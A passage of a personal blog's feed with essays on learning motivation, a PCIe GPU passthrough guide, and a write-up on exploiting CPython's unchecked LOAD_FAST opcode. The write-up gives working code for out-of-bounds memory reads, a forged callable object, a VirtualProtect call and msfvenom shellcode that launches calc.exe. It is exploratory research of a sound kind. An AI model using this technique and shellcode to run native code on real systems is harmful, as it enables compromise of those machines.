That culture of thinking then gave birth to our current mechanism of curriculum design. The top-down approach to curriculum creates a situation where the nuance of learner requirements is not taken into consideration. Once a standardised body decides what all students are to learn, so they must learn, be tested and stamped with the seal of approval in the form of a certificate. It bears an uncanny resemblance to industrialised factory farming - it's factory farming of human brains.

Institutionalised Learning
Content flow for educational institutions

This method of thinking doesn't just apply to universities and public education, but even to online curriculum creators of coding bootcamps and other more recent educational products.

Schools vs Academies

At this juncture, it's important to notice the distinctions between schools and academies. Schools are formal education institutions that follow a pre-determined path, and are obligatory in most parts of the world. Academies are groups of like-minded individuals, brought together by some common topic of interest. Schools have curriculum, academies do not. But people in academies do learn a lot, and it tends to be powered by intrinsic motivation.

Learning used to be fun
Think back to when you were just growing up. When you were 4 or 5, enjoying the little things you did. Maybe you loved to draw on paper, maybe you were more of a musical person or maybe you loved to dance- but it doesn’t matter what you did. You were just having fun.
Institutionalised Learning
I talked about the importance of intrinsic motivation here!

An academy can be structured as 3 distinct groups of people- the learners, the skilled instructors and the educators. Each group of individuals provide a key aspect of learning, customised to the learner without any centralised curriculum.

Institutionalised Learning
  1. A web of learning resources enables access to self learning content and devices
  2. Skill instructors provide custom guidance to achieve the learner's specific goals
  3. Educators and inspirational figures offer life coaching and advice on how to broaden the learner's perspectives
  4. Peer learning with other learners helps the learner apply and retain learnt concepts, and discuss new ideas

The academic model to learning refocuses the learning process around each individual learner rather than to a specific institution. In this way, learning is personalised and dynamic to the requirements of each individual. Instead of churning out 1000 identical knowledge copies, this system moulds unique individuals driven by their own passions.

Even if in the past the lack of technology barred such systems from coming to fruition, by leveraging the use of sophisticated matching algorithms and the convenience of mobile devices, we can create a digitalised version of this system.

And that's how Axiom Academy aims to rethink the foundation of education from the ground up.

]]>
<![CDATA[Learning used to be fun]]>https://makerforce.io/learning-used-to-be-fun/60fd544032698f0001eadfa5Sun, 25 Jul 2021 14:05:08 GMT

Think back to when you were just growing up. When you were 4, enjoying the little things you did. Maybe you loved to draw on paper, maybe you were more of a musical person or maybe you loved to dance- but it doesn't matter what you did. You were just having fun.

You probably also asked a million questions. Why does the sea look blue? Why does the person on the TV talk funny? Why does the train make more noise when it goes into the tunnel? As kids, we were full of curiosity, wonderment, maybe even blind to the realities of the world.

It really starts with the formal education system, where we switch from asking questions, to being asked questions. "I don't know why" goes from a statement of curiosity to one of incompetence.

You need to learn because your worth in society is decided by how much of the test you get right.

This decouples the act of learning something new, from the reward which is extrinsic, through grades, compliments from teachers or comparison with peers. By now, long gone are the times where learning was meaningful as the act of learning alone.

Now when we are adults, we always look for reasons to learn something new. Questions like "Do I really need this for work" are common thoughts through our heads. We have learnt that the only rewards from learning are extrinsic, so we prioritise extrinsically motivated learning over our intrinsic interests.

But at the very core of learning, is interest and intrinsic motivation. Curiosity and wonderment are what led us to invent new technologies and create stunning art. As an example, consider Vincent Van Gogh who after being a failed pastor, picked up painting out of personal interest. He then went on to paint The Starry Night, a late bloomer at the age of 36.

Looking through the lens of a child, not everything always has a clearly defined purpose, some things are worth doing just because you want to. Exploratory play is how humans learn.

Learning intrinsically, in fact, is one of the best forms of self care. You will be doing something purely for yourself with no ulterior motive. You will unlock skills you never knew you had and be able to do things you never imagined you would do. Even if there's no immediate extrinsic reward, you will pick up new abilities you can apply to many areas of your life. All this and you will feel just like a kid, having fun, despite the failures that come with learning something new.

Imagine being able to unleash this version of you. The inner child, who is not afraid of failure, and is striving to be forever curious. The version of you that sees the self as an unfinished portrait, getting better with every fresh stroke of the brush.

So, I'm building something new, to help people become the most capable versions of themselves. It's kinda like a

  • Super booster for your intrinsic motivation
  • Learning system designed for exploratory play
  • Lifelong journey of building your own superpowers

I'm calling it Axiom and I hope it works.

]]>
<![CDATA[PCIe Passthrough and libvirt]]>A pretty awesome feature of any modern hypervisor is the ability to pass through physical devices like USB and PCIe, without using host drivers. Almost any PCIe device can be passed through, including GPUs. There are many guides online discussing GPU passthrough, including this one by @bryansteiner.

GPUs, however, aren&

]]>
https://makerforce.io/pcie-passthrough-and-libvirt/606c6dd5c431f30001c43340Thu, 15 Jul 2021 11:12:00 GMTA pretty awesome feature of any modern hypervisor is the ability to pass through physical devices like USB and PCIe, without using host drivers. Almost any PCIe device can be passed through, including GPUs. There are many guides online discussing GPU passthrough, including this one by @bryansteiner.

GPUs, however, aren't as easy because they are initialised before the operating system starts. Upon boot, the firmware (sometimes called BIOS) initialises the GPU into VGA mode and starts drawing immediately. Any graphical interface (including the Linux console) will be constantly writing frames to the video card. To free up a GPU for use, you can either go purchase and install an additional GPU or instruct the operating system to stop writing to the current one.

I'm not willing to spend on another GPU on my system, therefore I went the latter route. Most guides online mention using two GPUs, but doing so with one GPU will work too by configuring the system over SSH. I used Fedora Server as the host and libvirtd for virtualization.

I wanted multiple desktop environments, including Fedora Workstation and Windows 10. I started by setting up the VMs using Cockpit, and then added the Nvidia GTX1060 3GB I had to both VM configurations using virsh edit.

With multiple desktop environments, I could shut down one and reboot into the other at any time, like a dual-boot setup, while the host OS is still running essential services. It also allows me to VNC into Fedora while Windows is running by booting Fedora without the GPU.

When I first added the GPU, I noticed that the Linux console was still writing a cursor to the framebuffer while Windows was booting up. It took some digging to figure out that the the framebuffer of the host was still attached. With reference to @joeknock90's scripts, I made an equivalent systemd unit that is run before libvirtd starts. This script ensures that the nouveau drivers are unloaded and the framebuffer for the Linux console is detached.

[Unit]
Description=Disable VTY console for Nvidia GTX 1060 passthrough
Before=libvirtd.service

[Service]
Type=simple
RemainAfterExit=yes
ExecStart=-sh -c "echo 0 > /sys/class/vtconsole/vtcon0/bind && echo 0 > /sys/class/vtconsole/vtcon1/bind && echo efi-framebuffer.0 > /sys/bus/platform/drivers/efi-framebuffer/unbind && sleep 1 && virsh nodedev-detach pci_0000_09_00_0 && virsh nodedev-detach pci_0000_09_00_1 && echo 'Successfully detached console and GPU'"
ExecStop=-sh -c "virsh nodedev-reattach pci_0000_09_00_1; virsh nodedev-reattach pci_0000_09_00_0; modprobe nouveau; echo 1 > /sys/class/vtconsole/vtcon0/bind; echo efi-framebuffer.0 > /sys/bus/platform/drivers/efi-framebuffer/bind; echo 'Finished attaching GPU and console'"

[Install]
WantedBy=libvirtd.service # Start when libvirtd is started

I also had to apply the usual fix for Error 43 when using Nvidia drivers in Windows.

]]>
<![CDATA[Abusing LOAD_FAST in Python 3 VM]]>

Metadata

A while ago, I read this article about abusing LOAD_CONST in Python 2.7. We are in Python 3.11 now, and CPython has since implemented quite a lot more features and checks. I wanna try to abuse the Python 3 VM to similarly execute shellcode, but I

]]>
https://makerforce.io/abusing-python3-vm-load_fast/60afb72bd635bc0001f23b61Fri, 28 May 2021 16:43:33 GMT

Metadata

Abusing LOAD_FAST in Python 3 VM

A while ago, I read this article about abusing LOAD_CONST in Python 2.7. We are in Python 3.11 now, and CPython has since implemented quite a lot more features and checks. I wanna try to abuse the Python 3 VM to similarly execute shellcode, but I wanna do so without crashing CPython.

Some things to note first:

  1. Just like the case for LOAD_CONST in Python 2, the bug I abused in LOAD_FAST in Python 3 is known. It's even in the name! It's just way faster to leave that bug there.
  2. I mean there's the ctypes module that allows you to do literally anything. But that's not fun at all.
  3. I did not know anything about the Python interpreter prior to starting this. I've written some high level explanation of how CPython does things below, hopefully it's correct and helpful for anybody just starting.
    • Also CPython source is just so easy to read. It's been a joy.

Since I wanna try this on the newest Python, I cloned CPython and built the x64 Debug and Release version of CPython. At the time of writing that version would be Python 3.11.0a0. I'll also be doing all this in Windows.

A Very Brief Introduction

So this post won't really make sense if not for some background about CPython. The way python interprets is by compiling a python script into Python bytecode. These bytecode are instructions which are executed by the Python VM.

A unique thing about Python bytecode is that unlike CPU bytecode, which is really low level, Python bytecode is really high level (surprise!). Everything that a Python bytecode instruction acts on is a PyObject, which is everything in Python, including your str, int, list, dict, etc.

This makes Python bytecode really easy to read. E.g. A BINARY_ADD instruction on two strings a and b will simply be a+b, or the concatenation of a and b, exactly what you would expect in Python.

The bytecode is represented as a PyCodeObject, and contains fields specific to the bytecode, such as co_const, which contains the constants used in the bytecode. The CPython source code provides some very useful documentation for the fields:

// include/cpython/code.h:17

/* Bytecode object */
struct PyCodeObject {
    PyObject_HEAD
    int co_argcount;            /* #arguments, except *args */
    int co_posonlyargcount;     /* #positional only arguments */
    int co_kwonlyargcount;      /* #keyword only arguments */
    int co_nlocals;             /* #local variables */
    int co_stacksize;           /* #entries needed for evaluation stack */
    int co_flags;               /* CO_..., see below */
    int co_firstlineno;         /* first source line number */
    PyObject *co_code;          /* instruction opcodes */
    PyObject *co_consts;        /* list (constants used) */
    PyObject *co_names;         /* list of strings (names used) */
    PyObject *co_varnames;      /* tuple of strings (local variable names) */
    PyObject *co_freevars;      /* tuple of strings (free variable names) */
    PyObject *co_cellvars;      /* tuple of strings (cell variable names) */
    /* The rest aren't used in either hash or comparisons, except for co_name,
       used in both. This is done to preserve the name and line number
       for tracebacks and debuggers; otherwise, constant de-duplication
       would collapse identical functions/lambdas defined on different lines.
    */
    Py_ssize_t *co_cell2arg;    /* Maps cell vars which are arguments. */
    PyObject *co_filename;      /* unicode (where it was loaded from) */
    PyObject *co_name;          /* unicode (name, for reference) */
    PyObject *co_linetable;     /* string (encoding addr<->lineno mapping) See
                                   Objects/lnotab_notes.txt for details. */
    PyObject *co_exceptiontable; /* Byte string encoding exception handling table */
    void *co_zombieframe;       /* for optimization only (see frameobject.c) */
    PyObject *co_weakreflist;   /* to support weakrefs to code objects */
    /* Scratch space for extra data relating to the code object.
       Type is a void* to keep the format private in codeobject.c to force
       people to go through the proper APIs. */
    void *co_extra;

    /* Per opcodes just-in-time cache
     *
     * To reduce cache size, we use indirect mapping from opcode index to
     * cache object:
     *   cache = co_opcache[co_opcache_map[next_instr - first_instr] - 1]
     */

    // co_opcache_map is indexed by (next_instr - first_instr).
    //  * 0 means there is no cache for this opcode.
    //  * n > 0 means there is cache in co_opcache[n-1].
    unsigned char *co_opcache_map;
    _PyOpcache *co_opcache;
    int co_opcache_flag;  // used to determine when create a cache.
    unsigned char co_opcache_size;  // length of co_opcache.
};

However, Python bytecode requires a sort of context in which to execute. The bytecode executes with its own stack, constants, namespace and other variables that changes depending on where you are executing. Take for instance:

def f(a):
    print(a)
print(a)

The variable a in the function f is defined while the one outside isn't. So how does Python deal with different execution context?

The answer is in frames. CPython creates frames to execute a chunk of bytecode in its context. Hence each frame would contain stuff like the stack, constants, namespace, etc that the bytecode uses.

// include/cpython/frameobject.h:22

struct _frame {
    PyObject_VAR_HEAD
    struct _frame *f_back;      /* previous frame, or NULL */
    PyCodeObject *f_code;       /* code segment */
    PyObject *f_builtins;       /* builtin symbol table (PyDictObject) */
    PyObject *f_globals;        /* global symbol table (PyDictObject) */
    PyObject *f_locals;         /* local symbol table (any mapping) */
    PyObject **f_valuestack;    /* points after the last local */
    PyObject *f_trace;          /* Trace function */
    /* Borrowed reference to a generator, or NULL */
    PyObject *f_gen;
    int f_stackdepth;           /* Depth of value stack */
    int f_lasti;                /* Last instruction if called */
    int f_lineno;               /* Current line number. Only valid if non-zero */
    PyFrameState f_state;       /* What state the frame is in */
    char f_trace_lines;         /* Emit per-line trace events? */
    char f_trace_opcodes;       /* Emit per-opcode trace events? */
    PyObject *f_localsplus[1];  /* locals+stack, dynamically sized */
};

This is important as the instruction I'm about to abuse, LOAD_FAST, requires getting the address of _frame.f_localsplus as you'll see later.

So far I've given a very high level overview of how Python interprets. If you would like to know more I highly recommend reading this amazing resource, and the article I linked to above, which steps through the bytecode in WinDbg.

Planning the Attack

So of course I didn't settle for abusing LOAD_FAST immediately. I first looked at LOAD_CONST and some other opcodes.

LOAD_CONST <idx> loads a PyObject from the constants (PyCodeObject.co_const) onto the python VM stack. Meanwhile LOAD_FAST <idx>, loads a PyObject from the locals (_frame.f_localsplus).

LOAD_CONST was totally abusable in Python 2. However Python 3 decided to fix it.

Python 2:

#define PyTuple_GET_ITEM(op, i) (((PyTupleObject *)(op))->ob_item[i])
#define GETITEM(v, i) PyTuple_GET_ITEM((PyTupleObject *)(v), (i))

/* ... */

case LOAD_CONST:
  x = GETITEM(consts, oparg);
  Py_INCREF(x);
  PUSH(x);
  goto fast_next_opcode;

Python 3:

PyObject *
PyTuple_GetItem(PyObject *op, Py_ssize_t i)
{
    if (!PyTuple_Check(op)) {
        PyErr_BadInternalCall();
        return NULL;
    }
    if (i < 0 || i >= Py_SIZE(op)) {
        PyErr_SetString(PyExc_IndexError, "tuple index out of range");
        return NULL;
    }
    return ((PyTupleObject *)op) -> ob_item[i];
}

/* ... */

#define GETITEM(v, i) PyTuple_GetItem((v), (i))

/* ... */

case TARGET(LOAD_CONST): {
    PREDICTED(LOAD_CONST);
    PyObject *value = GETITEM(consts, oparg);
    Py_INCREF(value);
    PUSH(value);
    DISPATCH();
}

As you can see, they changed direct array indexing in Python 2 to creating a proper PyTuple for the constants and indexing it.

This means that LOAD_CONST in Python 3 would actually check for out-of-bounds and handle it gracefully, returning the familiar IndexError: tuple index out of range exception.

Since we control the value of oparg, it would have been possible to index way out of bounds and read practically anything in memory in Python 2, which won't be possible in Python 3.

Having realised that, I then goofed around with some other opcodes and eventually went back to LOAD_FAST, and true to it's name, it loads really quickly because it indexes an array directly:

Python 3:

#define GETLOCAL(i)     (fastlocals[i])

/* ... */

case TARGET(LOAD_FAST): {
    PyObject *value = GETLOCAL(oparg);
    if (value == NULL) {
        format_exc_check_arg(tstate, PyExc_UnboundLocalError,
                                UNBOUNDLOCAL_ERROR_MSG,
                                PyTuple_GetItem(co->co_varnames, oparg));
        goto error;
    }
    Py_INCREF(value);
    PUSH(value);
    DISPATCH();
}

fastlocals is actually the aforementioned _frame.f_localsplus. It is specific to the frame and stores the local variables of said frame (surprise 2.0!). Since we again control the variable oparg, we can easily index way beyond fastlocals to anywhere we want in memory. Let's verify this quickly with a crash from indexing somewhere invalid in memory:

# Python 3.11.0a0

import opcode
import types

def inst(opc:str, arg:int=0):

    "Makes life easier in writing python bytecode"

    nb = max(1,-(-arg.bit_length()//8))
    ab = arg.to_bytes(nb, 'big')
    ext_arg = opcode.opmap['EXTENDED_ARG']
    inst = bytearray()
    for i in range(nb-1):
        inst.append(ext_arg)
        inst.append(ab[i])
    inst.append(opcode.opmap[opc])
    inst.append(ab[-1])
    
    return bytes(inst)

crash_bytecode = b"".join([
    inst('LOAD_FAST', 0xdeadbeef), # Index _somewhere_ in memory
    inst('RETURN_VALUE')
])

def g(): pass
def assign_bytecode(bytecode): 
    global g
    g.__code__ = types.CodeType(
        0, # argcount
        0, # posonlyargcount
        0, # kwonlyargcount
        20, # nlocals (big enough)
        20, # stacksize (big enough)
        0, # flags
        bytecode, # codestring
        (), # constants
        (), # names
        (), # varnames
        "", # filename
        "", # name
        0, # firstlineno
        b"", # linetable
        b"", # exceptiontable
    )

assign_bytecode(crash_bytecode)
g() # Crash!

Windbg logging the crash:

(5118.3268): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

python311!_PyEval_EvalFrameDefault+0x42c:
00007ff8`1b4f756c 498b44d668      mov     rax,qword ptr [r14+rdx*8+68h] ds:000001c5`343c00e0=????????????????
0:000> ?rdx
Evaluate expression: -559038737 = ffffffff`deadbeef

Abusing LOAD_FAST

Indexing into Known Memory

We first need to get the address of the frame at which the instruction LOAD_FAST <index> is going to be ran. We can do this by calling sys._getframe() which returns the current frame object, and then calling id on it. CPython actually returns the pointer to the PyObject when you call id on it so that's very convenient.

>>> help(id)
Help on built-in function id in module builtins:

id(obj, /)
    Return the identity of an object.

    This is guaranteed to be unique among simultaneously existing objects.
    (CPython uses the object's memory address.)

We need the address of the current executing frame so we actually know where we are indexing into, and we need the address of the same frame because the address of fastlocals changes according to which frame we are in.

My first thought was to get the address of the frame, calculate the index we want in order to read a predefined memory location, modify a global PyBytesObject object that contains the instruction LOAD_FAST <index> and use the opcode JUMP_FORWARD to jump way past the frame's code object into that global PyBytesObject and continue executing from there. And viola! Everything happens in the same frame and the address of fastlocals stays the same.

Then I realised you can actually replace the bytecode of the frame, without deallocating the frame, meaning its address stays the same!

def g(): pass
def assign_bytecode(bytecode): 
    global g
    g.__code__ =  types.CodeType(
        0, # argcount
        0, # posonlyargcount
        0, # kwonlyargcount
        20, # nlocals (big enough)
        20, # stacksize (big enough)
        0, # flags
        bytecode, # codestring
        (id, sys._getframe), # constants
        (), # names
        ('a',), # varnames
        "", # filename
        "", # name
        0, # firstlineno
        b"", # linetable
        b"", # exceptiontable
    )

# Runs `return id(sys._getframe())`
bytecode = b"".join([
    # Get address of its frame and return
    inst('LOAD_CONST', 0), # Load id
    inst('LOAD_CONST', 1), # Load sys._getframe
    inst('CALL_FUNCTION', 0),
    inst('CALL_FUNCTION', 1),
    inst('RETURN_VALUE')
])

assign_bytecode(bytecode)
print("Frame1 Address:", hex(frame_addr1 := g()))

assign_bytecode(inst('NOP')+bytecode) # Replace the bytecode of g
print("Frame2 Address:", hex(frame_addr2 := g()))

assert frame_addr1 == frame_addr2

# Output:
# > Frame1 Address: 0x151a34945f0
# > Frame2 Address: 0x151a34945f0

This means we can simply get the frame address, calculate the index we need outside of the frame, then replace the bytecode of the frame with the actual exploit LOAD_FAST <index>. Which is so much easier!

To test this we'll try to access any PyObject we want in memory. However, do note that _frame.f_localsplus has type PyObject **, which means that we want the memory we index into to be be a pointer to a PyObject. We can do this by creating a PyBytesObject to store the address of the PyObject we wanna access, and make LOAD_FAST access the data field (PyBytesObject.ob_sval) of PyBytesObject:

# Arbituary Object
arb_object = "Hello! ^-^"

# PyBytesObject that contains the address of `object`
PyBytesObject_arb_object_addr = id(arb_object).to_bytes(8, 'little')

# Offset of PyBytesObject.ob_sval
PyBytesObject_ob_sval_offset = 0x20
# Address to data of `object_addr_PyBytesObject`, 
# which is equivalent to `&(&object)`
arb_object_ptr_ptr = id(PyBytesObject_arb_object_addr) + PyBytesObject_ob_sval_offset

We can then calculate the idx for LOAD_CONST <idx> to access object_ptr_ptr:

# Runs `return id(sys._getframe())`
bytecode1 = b"".join([
    # Get address of its frame and return
    inst('LOAD_CONST', 0), # Load id
    inst('LOAD_CONST', 1), # Load sys._getframe
    inst('CALL_FUNCTION', 0),
    inst('CALL_FUNCTION', 1),
    inst('RETURN_VALUE')
])

# Returns *(fastlocals[idx])
bytecode2 = lambda idx: b"".join([
    inst('LOAD_FAST', idx),
    inst('RETURN_VALUE')
])

# Get frame address by loading bytecode1
assign_bytecode(bytecode1)
print("Frame1 Address:", hex(frame_addr := g()))

# Offset of _frame.f_localsplus
_frame_f_localsplus_offset = 0x68
# Calculate idx
# r14+rdx*8+68h --> arb_object_ptr_ptr = 
#   frame_addr + idx*8 + _frame_f_localsplus_offset
idx = (arb_object_ptr_ptr - _frame_f_localsplus_offset - frame_addr)//8
print("idx:", hex(idx))
assert 0 <= idx < (1<<32), "idx out of range!"

# Replace the bytecode of g to return *(fastlocals[idx])
assign_bytecode(bytecode2(idx))

# Attempt to return `arb_object`
print("arb_object:", g())

# Output
# > Frame1 Address: 0x1eb158945f0
# > idx: 0x640db
# > arb_object: Hello! ^-^

Success! We managed to access arb_object from g() via abusing LOAD_FAST!

A caveat though, is that we can't access all memory (at least in 64 bit). oparg is stored as a 4 bytes int, which means that idx cannot be more than 4 bytes. And it can't be negative either, so we can't index backwards.

This is a different story in 32-bit Python though. Since the address space is 32 bits as well, we can overflow and effectively index backwards. If you're curious you should totally try that out.

Being able to index practically anywhere in memory and having CPython interprete it as a PyObject, means that we could create a fake PyObject in memory, controlling all the fields we want by adding the data anywhere we want and have LOAD_FAST access it. What we are gonna do with this is to make CPython call any address we want, aka a call gadget.

Creating an arbituary call gadget

Scrolling through the opcodes, DELETE_DEREF makes for a really clean call gadget as there are minimal checks.

void
_Py_Dealloc(PyObject *op)
{
    destructor dealloc = Py_TYPE(op)->tp_dealloc;
#ifdef Py_TRACE_REFS
    _Py_ForgetReference(op);
#endif
    (*dealloc)(op); // <-- Hell yea
}

/* ... */

case TARGET(DELETE_DEREF): {
    PyObject *cell = freevars[oparg];
    PyObject *oldobj = PyCell_GET(cell);
    if (oldobj != NULL) {
        PyCell_SET(cell, NULL);
        Py_DECREF(oldobj); // <-- Calls _Py_Dealloc
        DISPATCH();
    }
    format_exc_unbound(tstate, co, oparg);
    goto error;
}

All we have to do is create a fake PyObject whose PyTypeObject.tp_dealloc contains the address we want. It's really clean!

Though in the spirit of the original post, (and because I wanna return a PyFunctionObject I can move around in regular python code and call anytime for aesthetic reasons), I'll be using CALL_FUNCTION, which is quite a bit more involved.

So let's look at the source code to see which fields of the PyFunctionObject need to be spoofed:

#define Py_TYPE(ob)             (_PyObject_CAST(ob)->ob_type)

/* ... */

int
PyCallable_Check(PyObject *x)
{
    if (x == NULL)
        return 0;
    return Py_TYPE(x)->tp_call != NULL;
}

/* ... */

static inline vectorcallfunc
PyVectorcall_Function(PyObject *callable)
{
    PyTypeObject *tp;
    Py_ssize_t offset;
    vectorcallfunc ptr;

    assert(callable != NULL);
    // vvv Our PyFunctionObject needs to have a PyTypeObject
    tp = Py_TYPE(callable);
    if (!PyType_HasFeature(tp, Py_TPFLAGS_HAVE_VECTORCALL)) {
        return NULL;
    }
    // vvv Its PyTypeObject needs to have tp_call not null
    assert(PyCallable_Check(callable));
    // vvv callable+offset contains address of of function to run
    offset = tp->tp_vectorcall_offset;
    assert(offset > 0);
    memcpy(&ptr, (char *) callable + offset, sizeof(ptr));
    return ptr; // <-- ptr is the address CPython will call at.
}

/* ... */

static inline PyObject *
_PyObject_VectorcallTstate(PyThreadState *tstate, PyObject *callable,
                           PyObject *const *args, size_t nargsf,
                           PyObject *kwnames)
{
    vectorcallfunc func;
    PyObject *res;

    assert(kwnames == NULL || PyTuple_Check(kwnames));
    assert(args != NULL || PyVectorcall_NARGS(nargsf) == 0);

    func = PyVectorcall_Function(callable);
    if (func == NULL) { // <-- Don't care
        /* ... */
    }
    res = func(callable, args, nargsf, kwnames); // <-- Our call gadget!!
    // ^ note that `res` is a PyObject*
    return _Py_CheckFunctionResult(tstate, callable, res, NULL);
}

/* ... */

static inline PyObject *
PyObject_Vectorcall(PyObject *callable, PyObject *const *args,
                     size_t nargsf, PyObject *kwnames)
{
    PyThreadState *tstate = PyThreadState_Get();
    return _PyObject_VectorcallTstate(tstate, callable,
                                      args, nargsf, kwnames);
}

/* ... */

Py_LOCAL_INLINE(PyObject *) _Py_HOT_FUNCTION
call_function(PyThreadState *tstate,
              PyTraceInfo *trace_info,
              PyObject ***pp_stack,
              Py_ssize_t oparg,
              PyObject *kwnames)
{
    PyObject **pfunc = (*pp_stack) - oparg - 1;
    PyObject *func = *pfunc;
    PyObject *x, *w;
    Py_ssize_t nkwargs = (kwnames == NULL) ? 0 : PyTuple_GET_SIZE(kwnames);
    Py_ssize_t nargs = oparg - nkwargs;
    PyObject **stack = (*pp_stack) - nargs - nkwargs;

    if (trace_info->cframe.use_tracing) { // <-- Don't care
        /* ... */
    }
    else {  // <-- Yes this is important
        x = PyObject_Vectorcall(func, stack, nargs | PY_VECTORCALL_ARGUMENTS_OFFSET, kwnames);
    }

    assert((x != NULL) ^ (_PyErr_Occurred(tstate) != NULL));

    /* Clear the stack of the function object. */
    while ((*pp_stack) > pfunc) {
        w = EXT_POP(*pp_stack);
        Py_DECREF(w);
    }

    return x;
}

/* ... */

case TARGET(CALL_FUNCTION): {
    PREDICTED(CALL_FUNCTION);
    PyObject **sp, *res;
    sp = stack_pointer;
    res = call_function(tstate, &trace_info, &sp, oparg, NULL);
    stack_pointer = sp;
    PUSH(res);
    if (res == NULL) {
        goto error;
    }
    CHECK_EVAL_BREAKER();
    DISPATCH();
}

I've put (and commented) the relevant source so you can figure out for urself but here's the summary:

Let PyObject *callable be the pointer to our PyFunctionObject and tp be the PyObjectType*, callable->ob_type.

  1. tp->tp_flags to have Py_TPFLAGS_HAVE_VECTORCALL bit set.
  2. tp->tp_call to have to be non-zero
  3. tp->tp_vectorcall_offset + callable is to contain the address of the shellcode.

So creating the tp:

# PyBytesObject.ob_sval offset, the offset to our actual bytes
PyBytesObject_ob_sval_offset = 0x20

fake_typeobject = bytearray(b'A'*0x190)
fake_typeobject[0x038:0x038+8] = (0x10).to_bytes(8, 'little') # tp_vectorcall_offset
fake_typeobject[0x080:0x080+8] = (0x1).to_bytes(8, 'little') # tp_call
fake_typeobject[0x0a8:0x0a8+8] = (0x800).to_bytes(8, 'little') # tp_flags
fake_typeobject = bytes(fake_typeobject)
fake_typeobject_addr = id(fake_typeobject) + PyBytesObject_ob_sval_offset

Creating callable:

shellcode = b"\xCC Hello Success!!!" # <-- breakpoint (int 3)
shellcode_addr = id(shellcode) + PyBytesObject_ob_sval_offset

fake_callable = bytearray(b'a'*0x18)
fake_callable[0x008:0x008+8] = fake_typeobject_addr.to_bytes(8, 'little') # ob_type
fake_callable[0x010:0x010+8] = shellcode_addr.to_bytes(8, 'little') # shellcode
fake_callable = bytes(fake_callable)
fake_callable_addr = id(fake_callable) + PyBytesObject_ob_sval_offset

Abusing LOAD_FAST to load fake_callable:

control_data = fake_callable_addr.to_bytes(8,'little')
control_data_addr = id(control_data) + PyBytesObject_ob_sval_offset

# Runs `return id(sys._getframe())`
bytecode1 = b"".join([
    # Get address of its frame and return
    inst('LOAD_CONST', 0), # Load id
    inst('LOAD_CONST', 1), # Load sys._getframe
    inst('CALL_FUNCTION', 0),
    inst('CALL_FUNCTION', 1),
    inst('RETURN_VALUE')
])

# Returns *(fastlocals[idx])
bytecode2 = lambda idx: b"".join([
    inst('LOAD_FAST', idx),
    inst('RETURN_VALUE')
])

# Get frame address by loading bytecode1
assign_bytecode(bytecode1)
frame_addr = g()
print("frame addr:", hex(frame_addr))

# Offset of _frame.f_localsplus
_frame_f_localsplus_offset = 0x68
# offset + frame_addr + idx*ptr_size = addr
# idx = (addr - offset - frame_addr)//ptr_size
idx = (control_data_addr - _frame_f_localsplus_offset - frame_addr)//8
print("index:", hex(idx))
assign_bytecode(bytecode2(idx))

# Returns our call gadget
run = g()

# Run our call gadget
run()

Running it in WinDbg we get:

(5b78.4910): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00000211`f8108290 cc              int     3
0:000> da
00000211`f8108290  ". Hello Success!!!"

And success!! We made CPython jump to shellcode!

Not Yet

You might notice that the error for the crash above is c0000005 and not 80000003. This means that we are getting an Access violation rather than a Break instruction exception as expected when executing an int 3 instruction. This is because of page permissions:

0:000> !address rip

Usage:                  <unknown>
Base Address:           00000211`f8070000
End Address:            00000211`f8170000
Region Size:            00000000`00100000 (   1.000 MB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE // <-- No execute :(
Type:                   00020000          MEM_PRIVATE
Allocation Base:        00000211`f8070000
Allocation Protect:     00000004          PAGE_READWRITE


Content source: 1 (target), length: 67d70

The page does not have execute permission. We can maybe find some fancy gadget to ROP our way out of this or smth but at this point I'm lazy so I just used ctypes to change the page permissions. It's boring.

VirtualProtect = ctypes.windll.kernel32.VirtualProtect
old = ctypes.c_long(1)
res = VirtualProtect(
    ctypes.c_void_p(shellcode_addr), 
    len(shellcode), 0x40, ctypes.byref(old))

But it works!

(76e4.2b68): Break instruction exception - code 80000003 (first chance)
0000011c`74f882d0 cc              int     3
0:000> da
0000011c`74f882d0  ". Hello Success!!!"

Crafting our Shellcode

We're gonna try running shellcode that calls WinExec to execute commands. I used msfvenom:

> msfvenom -p windows/x64/exec CMD="calc.exe" EXITFUNC=none -f python

shellcode =  b""
shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
shellcode += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
shellcode += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
shellcode += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
shellcode += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
shellcode += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
shellcode += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
shellcode += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
shellcode += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
shellcode += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
shellcode += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
shellcode += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
shellcode += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
shellcode += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
shellcode += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
shellcode += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
shellcode += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xaa\xc5\xe2\x5d\x41"
shellcode += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
shellcode += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
shellcode += b"\x00\x59\x41\x89\xda\xff\xd5"
shellcode += b"calc.exe\x00" # <-- The command!

